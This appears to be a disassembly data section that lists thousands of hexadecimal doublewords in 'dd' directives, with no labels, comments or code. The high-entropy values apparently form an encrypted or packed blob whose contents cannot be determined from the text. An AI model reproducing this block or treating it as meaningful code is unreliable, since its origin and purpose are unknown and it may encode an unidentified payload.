		dd 0A96C398Bh, 34DC85A5h, 70ED6722h, 0BE839533h, 89BF8BE1h
		dd 25B26D5Fh, 8E37DFA2h, 0BD2CF157h, 5300C425h,	871C8858h
		dd 0D28D72CEh, 1876CAFEh, 0E36DB135h, 0B8771DE4h, 50EB8379h
		dd 0C38F134Eh, 40E1B3CBh, 4CE2836Ch, 170B14Fh, 506E8924h
		dd 6BDE01FEh, 0EE0296CBh, 373C2382h, 0E3A8D886h, 5756E800h
		dd 0BA061768h, 0ED5F4812h, 0B131ABD3h, 3A2658C1h, 0EC82C1Ch
		dd 929C04F8h, 0EAF0221Fh, 0AD00DD74h, 906D202Dh, 706DB849h
		dd 60779ECAh, 4D07F6BBh, 0DBF70216h, 0FBA85E00h, 4A318304h
		dd 4F88B3CBh, 0B902A4A8h, 0A4AC7503h, 53F633F0h, 66F353C3h
		dd 7495D25Ah, 15582D13h, 921CC73Ah, 3BA1FDF0h, 5E20F77Fh
		dd 0A0B37849h, 277FB8B5h, 26E3B0CDh, 9181B9DCh,	38BF4ADDh
		dd 0E92556F0h, 518600D3h, 258088B5h, 53C02DC5h,	28D33F9Bh
		dd 0B235A3A9h, 2CCEAB6Dh, 0D8CC8C65h, 734CCE50h, 0CB8D8181h
		dd 0F47BF85Dh, 170B2120h, 8590864h, 6524079Fh, 1E0E7901h
		dd 0F13B0135h, 5A080292h, 39735742h, 5F34F74Bh,	28D91332h
		dd 5993745Ch, 667B2412h, 1B86051Eh, 0FE23604Bh,	0A3E7627Eh
		dd 278E7B55h, 0E11C4276h, 0CD14FFADh, 9AA2D3FAh, 0BA00D978h
		dd 7AEB693Dh, 25345BEh,	0D63126ADh, 24FE3FE9h, 0F2525F0Ah
		dd 58579300h, 740524h, 2D3FA56Eh, 5BF19A09h, 4A72E1B7h
		dd 1FC10C60h, 9644EA18h, 3994EFD1h, 0B198A2ABh,	586EA037h
		dd 7E68E001h, 0C4FD7CE9h, 4416F397h, 0BB8CEDDEh, 9FC460D8h
		dd 267E2709h, 0D6995ED8h, 0A5F68644h, 62E8CAF7h, 624E2968h
		dd 75810E27h, 58EC9E66h, 5DAD25E9h, 0C49AAB72h,	4ABA6920h
		dd 0FF44EA09h, 4DD7DDF7h, 75DFE262h, 28998219h,	26B902D8h
		dd 7D01A00Ch, 0BE564540h, 8760E038h, 0D721E902h, 0D8BB5F0Bh
		dd 4F0BD1E3h, 0DE126268h, 1EC46F37h, 5B44E295h,	53CBE1BDh
		dd 25AF9E75h, 309802B1h, 907133Fh, 2BF18119h, 21268CE0h
		dd 46E919CEh, 20EA4143h, 0E192C74Fh, 6C25A284h,	835B59A0h
		dd 0FE8817B7h, 2E80AAE9h, 4D96EC37h, 85594E8Dh,	51AF871Ch
		dd 742B0Bh, 59EBDE2h, 4CA82DFEh, 0C9C58193h, 0FB77C24Eh
		dd 0B9CC6216h, 5D799475h, 582D224Bh, 0E9F815F6h, 88AB55B5h
		dd 4B213D30h, 0B937BADDh, 6A99C7A2h, 8AF14053h,	2018937Ch
		dd 5058262Ch, 0F6C00BFBh, 803CC575h, 6871B450h,	0C1A67076h
		dd 0FEE9B105h, 0A18780C9h, 0C8F96D62h, 3953987Eh, 2AFD582Fh
		dd 3CA02475h, 9219EBD1h, 275E10A7h, 0BA951777h,	0E706CFBDh
		dd 40DFF707h, 5A2DB20h,	48520BBEh, 0E9B4FE77h, 7CE91606h
		dd 0EDCF29D8h, 25B37809h, 6D94FD42h, 60093513h,	0A64F5406h
		dd 5250003Eh, 0BB47AB6h, 0BC70EC80h, 0C475F475h, 7085A65h
		dd 0A8F781BEh, 326485Fh, 0AA917D32h, 66456943h,	0F0F20E93h
		dd 0D64AF7E3h, 0E70322ACh, 608C723Dh, 0CFC0D7D3h, 5C3F5A8Dh
		dd 0CB09796Eh, 37C329h,	4C5FDF80h, 0B03B867h, 8802850h
		dd 0EB81B054h, 60E53B9Fh, 2980070h, 2931E4EAh, 1D585BDFh
		dd 0E8DEBD20h, 0A7F41EBCh, 3448939h, 44FA25Eh, 0D0918480h
		dd 0B0683F05h, 96E395CAh, 25DBB95Bh, 2841020Ch,	0F67964D7h
		dd 261D4339h, 1A1D0C53h, 0BB304C00h, 5BF65191h,	0B9A1B039h
		dd 0D617280Bh, 684F003Bh, 257DED11h, 0DC02A9E9h, 43435950h
		dd 0CAB125EBh, 0DF2DDC6Dh, 112E8B17h, 0F8138FECh, 0A7DDD0C1h
		dd 3B4B2C2Fh, 40AE4484h, 9DA37CD1h, 0A120E97Eh,	0E96873B2h
		dd 92B4F93Eh, 8FB514EAh, 0EF10F44Fh, 60C2BAC0h,	0E4F98951h
		dd 4FCB7CEh, 0B73BE950h, 2C8BB482h, 0C697375h, 0EFA3D6E2h
		dd 0A0CBFA95h, 1475BB82h
		dd 0E83ED031h, 771D3802h, 0E680431Bh, 0BFBEB293h, 2AE9E0A8h
		dd 2339595Eh, 9D68BC3Eh, 1391680Eh, 5E10838Fh, 5D7C6383h
		dd 0E055DA4Ch, 2D437CB1h, 23480B23h, 5CBE035Ah,	11B19665h
		dd 6839432Bh, 0FB137E8Ch, 18A94EC3h, 9140A98Bh,	8490BD55h
		dd 0FC460625h, 0CC521FAFh, 541E8428h, 8685F09h,	603EFC7Eh
		dd 76E51D56h, 0AEC38107h, 1D01AE2h, 4D7AE9DFh, 2909C15Ch
		dd 0B2F5246Fh, 9A5657C7h, 0E871E9C2h, 0CDD6294Dh, 110F023Eh
		dd 2BEE5CAh, 0C6868059h, 0A006EB7Eh, 2444E7C4h,	0FA31A18h
		dd 0E8F6164Ah, 4B080BE6h, 0C03E82F7h, 0EC51053Eh, 58ACD3B9h
		dd 59168F1Ah, 979AA0FDh, 9D036648h, 0AD62C2D1h,	1668018Ch
		dd 2FA62F2Ch, 5BEE277Ah, 18899471h, 62C93047h, 3C57B27Bh
		dd 1F17C331h, 8827E2ABh, 0A72F26F3h, 0D9E33877h, 195BBF5Bh
		dd 0F7725A5h, 39322BB1h, 1B879B1h, 0CE70815Fh, 2D59241Bh
		dd 4E0B107Dh, 85F766B1h, 0FC5A30B0h, 0A39F64AFh, 0F87995C3h
		dd 58582778h, 49F8BE12h, 0C920C55Fh, 0C7540957h, 0F3E9893Dh
		dd 6885BB54h, 0A63551A9h, 0AC81C5BBh, 0F83CE2AAh, 93E52521h
		dd 0F68BE2F1h, 207CF215h, 9250556h, 8F85E0CFh, 5EA82FB0h
		dd 0C07257F4h, 0E2529616h, 905D9509h, 600EE94Fh, 7E2E3CDh
		dd 3248081Ah, 72CE0551h, 951F7711h, 7D0B2245h, 0C19840AFh
		dd 7A861E20h, 0A5B8D1F2h, 0A31ADB5Bh, 826D7774h, 3FAE712Fh
		dd 2DC7F059h, 0ECD90902h, 209B8FE2h, 7502D1C5h,	4CB93E4Dh
		dd 6CF327BBh, 2114406Dh, 842E65D4h, 8002D051h, 92C13EC7h
		dd 0D48D498Eh, 4C4C5132h, 61480598h, 0C0EA3AF0h, 8959533Fh
		dd 0C71D0F7Dh, 205774F3h, 6E120B58h, 4DD258DDh,	9D8D3412h
		dd 817BEC1Ah, 0DAB30AC4h, 0E308C1BFh, 5F3CCA3h,	1C6A06C8h
		dd 0E9DD0241h, 8ADEBF5Ch, 79435998h, 0B9C6C0D5h, 71F14037h
		dd 7498D1F5h, 460F8C6Fh, 64516BAFh, 0CBFECB02h,	3DA21875h
		dd 0BB0FB757h, 7E9B01BBh, 3E583FFFh, 72E96F02h,	0F7F04A3Bh
		dd 807F5182h, 93D40Fh, 7A9B34D6h, 955FFB29h, 2189AD65h
		dd 68DAD6B8h, 0F96162C7h, 46EA8100h, 0C8C5091Ch, 0C4FD0B68h
		dd 0A06CA17Eh, 0FD5DA452h, 0D03F71E0h, 7B8225B6h, 43619F69h
		dd 2211F860h, 0E1813C05h, 55272A89h, 0BC89045Ch, 5E4744CEh
		dd 0B43E80C0h, 0E405806Dh, 0B1B5515Eh, 7473A4EFh, 597FECE0h
		dd 74D7FFE6h, 0BF5E6881h, 4F2D62F8h, 0EF30E428h, 9F1D7809h
		dd 7AF88401h, 1BC9C11Eh, 7F53E429h, 5CFB6D1h, 0DB20E5C5h
		dd 4C5C827Eh, 5D95862h,	4F158301h, 6BF6B12Eh, 0F8885007h
		dd 0C5D5D067h, 0F7281FD1h, 0BFC892DCh, 94F1A94Bh, 0BA0E8BACh
		dd 615055Ah, 0D0D14281h, 0DFCCF33Ah, 7908B4FDh,	5DF3A0FBh
		dd 0BAF8535Ah, 0A2CEE9B0h, 7782DFDDh, 40352862h, 39586AE9h
		dd 1DD25B4Fh, 5D741A61h, 0F262C634h, 4256F1DDh,	695B476Eh
		dd 5778C609h, 6E591B94h, 78683AE7h, 0F7E27BE1h,	4998ABB5h
		dd 28AD4AAEh, 648BBC5h,	0B7D9DD0Ch, 0E53EC125h,	4F2EECF3h
		dd 97C0EEBFh, 0E9D81954h, 0ED9B5C9Ch, 23DAB9A7h, 0ED61FBB9h
		dd 0EB44A610h, 40E2F30Bh, 524D6820h, 0C90F1402h, 2949B179h
		dd 0EFA36E05h, 0F62717h, 0E95F0F65h, 84C8CA2Eh,	0EC7FB510h
		dd 913260ACh, 963635C3h, 96EC554Eh, 1816770Fh, 42DFF281h
		dd 0C22470B0h, 0A223EA01h, 5AD3090Ah, 3C15863Eh, 0C568BD0Eh
		dd 1642DE1Bh, 0CA1C2432h, 8B31750Ch, 31D53ED2h,	0B2BDA902h
		dd 0CC054F1h, 0EA8B5412h, 71A81E14h, 46E25CFh, 0C3BA5A68h
		dd 16E4B894h, 17CD8EAh,	9888D360h, 952F5644h, 64CB5471h
		dd 4AC300BCh, 0E95D8034h, 95C19A27h, 1201D7C2h,	8A6DAE47h
		dd 84810804h, 0D86EAA9Ah, 0C1A08927h, 40829441h, 80D1CCB8h
		dd 780EEA2Dh, 42050F88h, 5E206227h, 2B530762h, 0CA768B5Fh
		dd 0FD81A7BDh, 0E92E449Eh, 20AFC99Fh, 0D537112Ch, 5261BC6Dh
		dd 1B559E52h, 33803E92h, 39CAAFA5h, 59BA2952h, 0B510175Bh
		dd 0A1024153h, 4BD22EE4h, 0CFF8008h, 0FC1C4C67h, 0F2374EEEh
		dd 0C1A58B57h, 6422520Fh, 0F57AB4C7h, 3865CBE6h, 0F73092B7h
		dd 0F40AD1D3h, 5D5800Bh, 0CDEE49D5h, 8700380Ch,	0D773525Fh
		dd 7D7F1751h, 0E734A1h,	4827DCE6h, 0BE04560Ch, 0E2BFBB2Dh
		dd 126A39A1h, 24BE0F3Ch, 8074C0E4h, 0B8A3E83Dh,	73C7444Eh
		dd 9219F689h, 935CABBDh, 0D712EEDFh, 0D74638C2h, 0A3098F70h
		dd 70780771h, 0FF27C955h, 8A4479D9h, 8802A6C0h,	0FC08D35Ch
		dd 4F905819h, 0A2841133h, 6304577Eh, 3FCE1881h,	23AE3929h
		dd 0EB286AC8h, 0E95A0B08h, 44FFA990h, 7DFE7269h, 124FEAF1h
		dd 0E75B5938h, 953E160Eh, 0EB2C74F9h, 2F7EA5E5h, 0CC82D565h
		dd 0F3B0572Ch, 0D8BDD7B6h, 0B1510542h, 1FC888E5h, 48629095h
		dd 0D12F5052h, 0C2CBB40Ch, 44F62129h, 67B5D96Ah, 0B36D0028h
		dd 28D9E96Eh, 740981B2h, 2006BD42h, 6BAC2D40h, 0C3E1A1B4h
		dd 3C868B2Eh, 0AB4D02EBh, 0F06CE93Bh, 0BBB3937Fh, 0DC40EADEh
		dd 68ED5D1Bh, 4059209h,	9A4480E1h, 3C61BD2Bh, 608A3C85h
		dd 9745155Ah, 9FF6975Fh, 590B0820h, 30666C68h, 0B535F85Dh
		dd 0F5932667h, 0B24EF45Dh, 0A2BB1244h, 0E1ADD3D5h, 16CF4DC4h
		dd 5FFD7400h, 92339968h, 0B09D2E7Bh, 0A05B92BBh, 2769F0A8h
		dd 81C6201Ch, 25BE0FF3h, 5D831588h, 5610E5C1h, 124B9F35h
		dd 0CC34A57Eh, 432E6956h, 0AAE2075Fh, 4A59F5C5h, 1A4CC30Ch
		dd 0B2495E59h, 0AE5C164h, 9F43788Ah, 14C2F9F4h,	76E9BB20h
		dd 0B14AC0ECh, 59CC0886h, 0F5B0B8C4h, 287095C1h, 4405AD00h
		dd 76165F13h, 2EA93E01h, 0A48F3A0Dh, 25AB48F0h,	54BB4300h
		dd 0A298236Ah, 0E62FD80Bh, 259BD32Bh, 762FC0F3h, 0FD071276h
		dd 9F027621h, 0E9165D06h, 16A3D898h, 0FE3BB353h, 0B1058CD5h
		dd 0A2BCA0C4h, 4B06EC4h, 37C7E2C1h, 85014830h, 512CC30h
		dd 71FFCA8h, 0A7241080h, 27447327h, 0C9E7D1C9h,	47E32AFAh
		dd 0E0EB1ED6h, 1DAF2D01h, 0D0012E74h, 329D4F3Fh, 565B1790h
		dd 52692EAAh, 87600B9h,	0E78119B6h, 4C7F120Bh, 2714F825h
		dd 95F2508Fh, 253E17DDh, 2533CC57h, 0AB6101E9h,	0F55C20B5h
		dd 0ED805A03h, 0AFC5FE6Dh, 0CD2CEA23h, 51ACC1BEh, 8CE9FCB5h
		dd 0F8F62892h, 23C928Eh, 68C6FE76h, 0B0F7493Eh,	2809B50h
		dd 0E188C5F4h, 0C87F2AE9h, 244627EFh, 13564D65h, 5CBC88D0h
		dd 0AC4A02F2h, 67DC62E5h, 0D6E5905h, 305A8909h,	0CE746C48h
		dd 0F67DE29Ah, 50A5EA33h, 9F16AE10h, 0E9395Ch, 0AD40A00Eh
		dd 78EABF0Ah, 263080Ah,	35D77DB0h, 8F5AE260h, 7991849Fh
		dd 4F3FA6EBh, 5BACE43Ch, 46CF4C80h, 5816FA96h, 43012AA4h
		dd 7CA3680Fh, 4CE9CB8Bh, 60F71F10h, 6142C117h, 0E96C04F0h
		dd 94685100h, 7B5F5C1Eh, 59FE16CBh, 30C4CF96h, 0C6E4FC52h
		dd 5D951065h, 800CC660h, 0C40690EBh, 45A96814h,	99A8D3D4h
		dd 0E91F704Ah, 3CDAD62Dh, 68832146h, 0A8334348h, 130E5324h
		dd 0B53E3196h, 0AB0E70B2h, 0C6ABCFE1h, 300459A8h, 2CF0281Dh
		dd 9340E904h, 429139BFh, 94555A4Fh, 7476B537h, 3CAB84E9h
		dd 680990B3h, 2CD1120Fh, 5916E389h, 12CCA9B3h, 0F3C5E4A6h
		dd 924139EEh, 0DC87CA01h, 5660C97h, 0BCF66EB2h,	2BDBC27Eh
		dd 302BC080h, 28618217h, 0D2973DAAh, 1218B7ADh,	87EB1D9Dh
		dd 34807513h, 0DDED5C09h, 0F72EFF66h, 0DC0A21Fh, 9D6AE52Fh
		dd 16962DEh, 0E6E95200h
		dd 4F5B76D6h, 0ABBA5B04h, 6923678Ch, 65DF87A9h,	3002C55h
		dd 26366118h, 77BCC9E0h, 41024900h, 0E903E1C1h,	66524051h
		dd 0E0616814h, 2C9C90B0h, 0DF7A9E1Eh, 485304E8h, 3C1209Fh
		dd 76BA9F05h, 3C0EB58Eh, 0E86B53F7h, 11D0B2B2h,	0E7166BCBh
		dd 0E5A1FCF8h, 0D8DB84C3h, 0DB5055Bh, 4810AC30h, 598C74C2h
		dd 5F827A6Ch, 0E0769C62h, 61097128h, 583D3C6Ah,	360D1E03h
		dd 4019432Bh, 0D1D11D35h, 6A97AE2h, 28019A90h, 0E937D726h
		dd 55906EFFh, 731E01F2h, 0EADCB5BBh, 0BE6880ADh, 4AF8470Ch
		dd 0D3694175h, 38579368h, 1212D00Ah, 53C528E9h,	7949151Fh
		dd 0F302849Ah, 81AF684h, 0ECAAF50Ch, 4CD9CB88h,	5078E989h
		dd 0BE56003Eh, 1ED1254Ah, 750ECE81h, 0C01F4455h, 0C347F5E6h
		dd 60C17603h, 6711208h,	0E91745E1h, 39EFD17Eh, 9BF641F5h
		dd 3C6801C8h, 66C1447Fh, 504513E5h, 0CA4056A5h,	710475B8h
		dd 0C6892F05h, 0AD245B78h, 0D95397B0h, 26233A80h, 0D5EB542Dh
		dd 0C773CCA2h, 1C096B9h, 54B6BD0Bh, 62B96249h, 0B52F2466h
		dd 25C27C81h, 0ED05AB56h, 61C3B72Ch, 131EEC29h,	0D235A17Ah
		dd 8277B7E1h, 101B66D9h, 3BF16722h, 0C021E11Fh,	0BD557DA7h
		dd 0FA26279Ch, 0AA135B23h, 8B5EE888h, 970A2439h, 6CF14913h
		dd 9B2E93Bh, 0FED92B51h, 43D00DA7h, 0FB0C8002h,	0E90F9219h
		dd 0EEA2D6BFh, 4DD72938h, 0FF4A54F0h, 761AFA1Dh, 50D25E12h
		dd 0E673F180h, 0FE45C10Eh, 0EA6C5DC9h, 0CE88F005h, 0C0D69102h
		dd 0B79040E6h, 0FE202E4Eh, 0ED81C979h, 0A04771E9h, 170C68Fh
		dd 802AC795h, 916220EAh, 0F627E902h, 0EE375223h, 0AE784B85h
		dd 642F5C41h, 0B4FB72BCh, 0F7460810h, 8F685301h, 5D429528h
		dd 7589406Dh, 0BD5F6AD7h, 0E956F281h, 5348DD1h,	51440CCEh
		dd 63FEDFB1h, 0E9F084E1h, 0ECCF63Ah, 20732D68h,	0E9C14E18h
		dd 4B058259h, 1485EFCh,	17376704h, 59ACC20Eh, 71685390h
		dd 2C661449h, 0BD8723h,	37AF7453h, 0CD815Dh, 1BE873EEh
		dd 1640BF57h, 10342624h, 4360EA00h, 681457Dh, 622FD5E5h
		dd 0C5040E0Ah, 22BE2428h, 3CD9C8BBh, 7FCF1712h,	39CE1FFEh
		dd 4EF718E0h, 0D20BB273h, 0E6983EE9h, 0B351329Bh, 93C45E10h
		dd 4F4C1338h, 59B668BFh, 0E58D504Bh, 5DCEC5E9h,	45C9CC71h
		dd 2727A230h, 92FF5BD9h, 0F1D5851Eh, 4E028EFAh,	289744EBh
		dd 56A2EE75h, 2F112036h, 88645C12h, 77E6301Ch, 1CCD9A7h
		dd 7A7D11CFh, 0B9EFD86Ah, 0FE48FD76h, 41FC0115h, 0FB01340Bh
		dd 8069A31h, 21F0B0Ch, 0FDAD32A5h, 0B32A006h, 1E955FF2h
		dd 9BD19D11h, 9C90F128h, 72055EE6h, 0DDF730B5h,	46BCDE53h
		dd 0A76624BDh, 5F6F01B5h, 4D60D0F7h, 64391DC3h,	6B89400Bh
		dd 0C1E962EEh, 0F6251D50h, 689C1013h, 82342CEFh, 2DEE744Eh
		dd 2A583117h, 0F6FB1B85h, 206BD40Bh, 0BA5B5E9Ah, 8FBA5F53h
		dd 72E9831Ch, 0C529025Bh, 4CF55CADh, 0E5059087h, 29EE91F9h
		dd 70A46BF0h, 0CD845C11h, 0A869888Bh, 78EBF4E1h, 6771A2BDh
		dd 0A00D008Bh, 144C7A44h, 0B3191003h, 0D06FCC4Ah, 0E9122042h
		dd 0BF6A85C3h, 0F8D75BE3h, 18E4F4ACh, 7E4AA307h, 52FA6EE1h
		dd 1D29BC16h, 0EF0159B0h, 52D7F601h, 2581E63Ah,	2C0400E8h
		dd 9BC53016h, 0EA243C29h, 2089252Dh, 615271DCh,	0C5C00BAFh
		dd 0D8F7003Dh, 0AF56C935h, 16062D14h, 0C1D4F64Eh, 570D0ED6h
		dd 6882C07Bh, 0CED72B09h, 0D9E91773h, 0D6B8FDCAh, 217AC8ABh
		dd 838F997h, 4F12D160h,	2F1ACA0Dh, 7A215AE8h, 80775EC8h
		dd 4B685BA1h, 622E7497h, 0B9D3FF1Fh, 0DC67689Ch, 65E3C2DFh
		dd 0B1EF704h, 6A5DD8DDh, 2705C03h, 636F9D94h, 0DD6E62D7h
		dd 5D5AFFC8h, 8A81E925h, 0C074B978h, 6B71BDE4h,	0E9243F7Fh
		dd 5E934408h, 99DCBAAh,	0DCCB50E9h, 8158BC7Fh, 70DF52B2h
		dd 375A5800h, 0D809A425h, 535803F1h, 0ED406BBh,	0DE092CA2h
		dd 2209A898h, 0D53AD952h, 25D6A430h, 7A4024h, 4E366805h
		dd 0B904DAA3h, 0C05A172Eh, 0E4184C89h, 6157358h, 6FEA1F2Fh
		dd 0F3D13C7Eh, 10C2933h, 6A32BB84h, 1D685D5Fh, 0B7B18A6Fh
		dd 24A3B89h, 0D5CB2E4Eh, 491658E7h, 0D5E0F509h,	762DF8EEh
		dd 82B81810h, 6F439C65h, 0AC23B021h, 10012932h,	0B907816Bh
		dd 29ED7147h, 6F965283h, 0D4C13EFAh, 60E86E08h,	0F4754C12h
		dd 302ED061h, 0BD2834FDh, 0C186F17h, 0C58F3201h, 33313D95h
		dd 5DB93642h, 0C3425FDEh, 2E53D5AFh, 30C5C825h,	383D0A03h
		dd 6060558h, 0D58DE95Fh, 1D35BA05h, 6EF8427Dh, 0DF053F4Ch
		dd 363360h, 0F955B5BCh,	0CD38E9CCh, 74BA5A56h, 8538AD9Fh
		dd 9630A022h, 0A06DEBDh, 0EDC1109Eh, 0C32517CBh, 0FAA556BDh
		dd 0AD5FB9DBh, 2BAF5FC1h, 3EF85A51h, 0CCD83FB2h, 5B1F6850h
		dd 0C04BB3B8h, 0AA4B70A7h, 110DDDBh, 145A2754h,	3B68134Bh
		dd 1050A350h, 804E0D82h, 718FF5C4h, 1EB079F6h, 0AE7632F2h
		dd 9F3F50B5h, 71E9E9D4h, 0C1F1623Ch, 9D01330Ah,	5D69977Ch
		dd 0E6CD5F80h, 0E975412Ah, 0D1B58775h, 6892BC6Fh, 7A24B7B5h
		dd 77DA8997h, 66CBD371h, 685217CEh, 0E9BA4E7Ah,	0C24F132Ch
		dd 0B210F209h, 2F2D61Ch, 404B6F53h, 0A74F1D41h,	20F9DA0Dh
		dd 681884DFh, 244B4183h, 4B518179h, 97277FBCh, 78C3648Ah
		dd 39666268h, 0C7777D44h, 40B90153h, 6A23480Ah,	525F53C1h
		dd 0D745F96Eh, 0FF5E95BEh, 53350581h, 67CD912Bh, 0F7DF802Fh
		dd 68A13002h, 1A418050h, 0B6F1325h, 56C00BAh, 5CE32A16h
		dd 0B274359Eh, 7FDA9742h, 9952A2F4h, 27123B6h, 0BFFAFBCCh
		dd 7CC59581h, 0CF01F091h, 8816498h, 81C0E1E9h, 10E8C38Dh
		dd 0B02AB429h, 180CBF4Bh, 321AE11Bh, 0D33A0CBAh, 0EF42290Fh
		dd 0D7E908A0h, 5F04169Ch, 66D8C101h, 0E9500C51h, 0BBB6BFEAh
		dd 0C21CA995h, 934F44Dh, 67D1F1D5h, 2C49531Eh, 9480E4E1h
		dd 9D88B1Eh, 0BDDE965Dh, 0BF3534F8h, 2A648546h,	17C0B01Fh
		dd 9E977EEh, 158C497h, 0BCB2ABFBh, 89A9F19Ch, 0B0A32CDFh
		dd 2D232EEAh, 0FF463ECh, 5F4B08A0h, 0E9823BE9h,	627956C5h
		dd 6A3AF980h, 0C6257Fh,	5781F63h, 0DC92E2Bh, 50EF3505h
		dd 13AA85D3h, 49010850h, 3BBE046Fh, 70456803h, 3AF7BE84h
		dd 0A3423C17h, 9E6811A3h, 0CB3F8D51h, 61CC12C2h, 0AD9BD3BDh
		dd 0E7B784ECh, 9ECC403Fh, 8339344Ah, 0B82516F9h, 3149E06Bh
		dd 271A643Bh, 1390945Fh, 0D1AF15E9h, 2F2AEAE3h,	416E18A0h
		dd 0A2316AA1h, 9007152h, 0E1B059C8h, 69AC5148h,	22780EEDh
		dd 2D1D43h, 763899B7h, 2EB32941h, 6D76F298h, 6A7E212h
		dd 6EE14904h, 3D516800h, 0AAC03A3Bh, 77CC4C7h, 53E92D63h
		dd 2C5B0F81h, 55F23FC3h, 69A2672Dh, 0C722B6E0h,	65E782A5h
		dd 0C6E4D72Dh, 659B2E31h, 0CC3E4F16h, 4912A764h, 0BCEC78D8h
		dd 7FC0AED7h, 5827B65Eh, 0A45F5587h, 0C5F6E995h, 56E1C7C0h
		dd 41AD77h, 68535550h, 0E3F6C75h, 0C30582B8h, 0FE40BF87h
		dd 0B801DCE8h, 4E0373B4h, 128A4431h, 0B1E5DAh, 0FD149089h
		dd 74947EF1h, 2F49081Fh, 0D435A7EFh, 3557F100h,	0B16B0021h
		dd 7F2D4856h, 0BB187902h, 33A2C201h, 0E5189777h, 92175AE2h
		dd 7D2C5E59h, 9D08B855h, 0D1753909h, 9E20628Ch,	0EA9CA2DFh
		dd 2A187D94h, 484B4968h, 88EC2831h, 69E2EA04h, 0EF5E683Dh
		dd 0E7BF3725h, 962E1294h, 0BD87890h, 0D45F4B9Dh, 0EA0812B5h
		dd 71512FCCh, 0BA1B1768h
		dd 0C99A0078h, 4FCC0F49h, 3F95097h, 8001E099h, 0EBF5A9E9h
		dd 54517E30h, 0C5F8B859h, 0D8C9FE9Fh, 26DE8609h, 0DD0BC8DAh
		dd 804C79E6h, 284E1B02h, 0E51DBC2Ah, 0F514C457h, 0C3F47231h
		dd 0CB280459h, 0EAF50DE9h, 0B9969BF3h, 7EE917E2h, 8A41C2B9h
		dd 9366A97Ah, 5E9F92EEh, 2C0511A9h, 6DDEBD26h, 0A22F2E10h
		dd 0D6871D19h, 0E064F7CAh, 0D526884h, 578169EDh, 0AB240E9h
		dd 0DA6614Bh, 0E3B900D7h, 40EE250Fh, 362837DCh,	0F3D4209Dh
		dd 5AEA107Bh, 0B437E867h, 2504DDCEh, 0FF50324Bh, 123381E0h
		dd 0FC07480Eh, 0E9074083h, 7039F56Ch, 0CA354F37h, 0DCC702F5h
		dd 0F7A25DC6h, 0D0C4E8DBh, 185C73E8h, 0FD5E68C4h, 9F3C1379h
		dd 0BE2CDBCDh, 96C3884h, 0D768095h, 7D580443h, 2F64B501h
		dd 77F12D07h, 0C3C5F7DFh, 5DBCE4FEh, 23CC1B4h, 2B10D7BEh
		dd 9E40D505h, 0C24E5130h, 7DE8F5A0h, 87760356h,	38A0E9EEh
		dd 9D4F3C2Ch, 7E582002h, 77B0F561h, 124C76A0h, 58E30220h
		dd 0D67FBD22h, 70E98BDEh, 5B07A2F8h, 6CF68059h,	750A3FA2h
		dd 5D847A0h, 2E2E0608h,	0CD057816h, 0B309232Ah,	0BD4B5030h
		dd 5207EC45h, 5A39CA89h, 71392F68h, 120C18F7h, 0B93CC0BDh
		dd 570B097Ah, 0F51A2C90h, 0C1CC1D22h, 2BDDC833h, 8A717DFEh
		dd 841895BEh, 0EAC116F5h, 0EB239E04h, 63583818h, 0C103830h
		dd 153A2F5Ah, 0E601033Fh, 0B126B84Bh, 0E93AAFEBh, 0BC06C430h
		dd 307B04B7h, 52AC127h,	7605D774h, 585B5033h, 55ECBBF1h
		dd 4D212F46h, 0BA62B559h, 0D7255DE4h, 2D8957ABh, 0E9A585B3h
		dd 0CCAAB81Dh, 0E55F337Ah, 0EE9E61ECh, 0CB2608C6h, 0FEEC8007h
		dd 5321F430h, 0F43573B7h, 0FA24606Ch, 0C6F2E95Bh, 0A49C2ADFh
		dd 58EFE719h, 4ABE1A90h, 73CA77A0h, 0EEEA38A3h,	0F95AD41Eh
		dd 54B5518Fh, 8100C5C9h, 0D09BE9ECh, 0E510FA82h, 8AFC166Bh
		dd 0B3215F7Eh, 0CD6BF171h, 6B0D3075h, 0A300741h, 0ED2BE10Eh
		dd 2A6FC183h, 0C93E36AFh, 0D4F8214Fh, 544E1215h, 8194BD4h
		dd 9BCDE9D7h, 51483963h, 16D80184h, 3607E0FDh, 0C60A5A29h
		dd 5100104Ch, 7E346856h, 27E91B57h, 89A66919h, 0A07B064Dh
		dd 53C50B4Fh, 0AC5F32E8h, 0E84601Eh, 254969A7h,	6B85CAE9h
		dd 0BA8FFF5Ah, 9C28BD5Fh, 75E590E7h, 0E7BE4C39h, 0ED68FB04h
		dd 0FC60AF11h, 5B16635Bh, 0CB4EA007h, 7EFD1348h, 5EF2382Dh
		dd 766D0289h, 7060DD64h, 660D6330h, 1CD72931h, 0D9C20804h
		dd 0ECB20F98h, 0A1DC1073h, 2CC82805h, 82F0856Dh, 38D84CDEh
		dd 764A5276h, 152CFCC0h, 4D03A28h, 0AEBB5A3Bh, 8954D8A7h
		dd 16447B3Bh, 0AE7B4A40h, 0CA4CC38Ah, 8EEB344Eh, 7B2704FCh
		dd 0C4BE16BEh, 4801FADEh, 0FE0399CBh, 0D000E049h, 4E2960E2h
		dd 0D083B84Ch, 1153480Ch, 0F1488A18h, 4140680Ah, 91E9843Dh
		dd 755A099Fh, 479CD9F1h, 76978EEh, 32F105CAh, 0C440531Bh
		dd 4ADB24B2h, 0F0A3410h, 7630EB98h, 0B9075278h,	6EA56BF6h
		dd 70F7E1B0h, 0C7615EBDh, 99819E29h, 3120F192h,	6F67E898h
		dd 49ACE8BDh, 3C659D40h, 0D3D4E10Ah, 2EB7C394h,	981252B5h
		dd 4358AC4Eh, 120A885Ah, 0E868F2FAh, 0B2ACC626h, 5BFA7FFBh
		dd 0FF9A1366h, 0ACFEB8Ah, 3EC52F79h, 0BDEC78A5h, 8DCD9789h
		dd 51855AFh, 45C5AAA7h,	85EA7AF3h, 4190BAABh, 2C4032EBh
		dd 2482166Ch, 275C1128h, 838461D3h, 839AA36Bh, 83BBA468h
		dd 2D2827A9h, 0ECD7AE0Bh, 0A4AB798Bh, 1F5F20ADh, 15170504h
		dd 3BB872C5h, 79900AD6h, 0E3964430h, 32E917D3h,	555D1081h
		dd 9F23E0DCh, 2771A368h, 0F50EFE27h, 0EC89FC05h, 540078Ah
		dd 58923C4h, 4CB8C7FAh,	9039DC00h, 0B1FAE94Eh, 82CD39Dh
		dd 40B422Ah, 0B840D95Bh, 805FD82Eh, 276B850h, 4801422Bh
		dd 1F4EBD2Dh, 972F407Fh, 2ECE30EAh, 0C716010Ch,	0AC87E6E9h
		dd 0CD72EF77h, 16A66475h, 0B8548F1h, 0FDAE2512h, 766D21Eh
		dd 50E5B261h, 28E0B050h, 5803C27Bh, 0F280CAFEh,	0B1240F04h
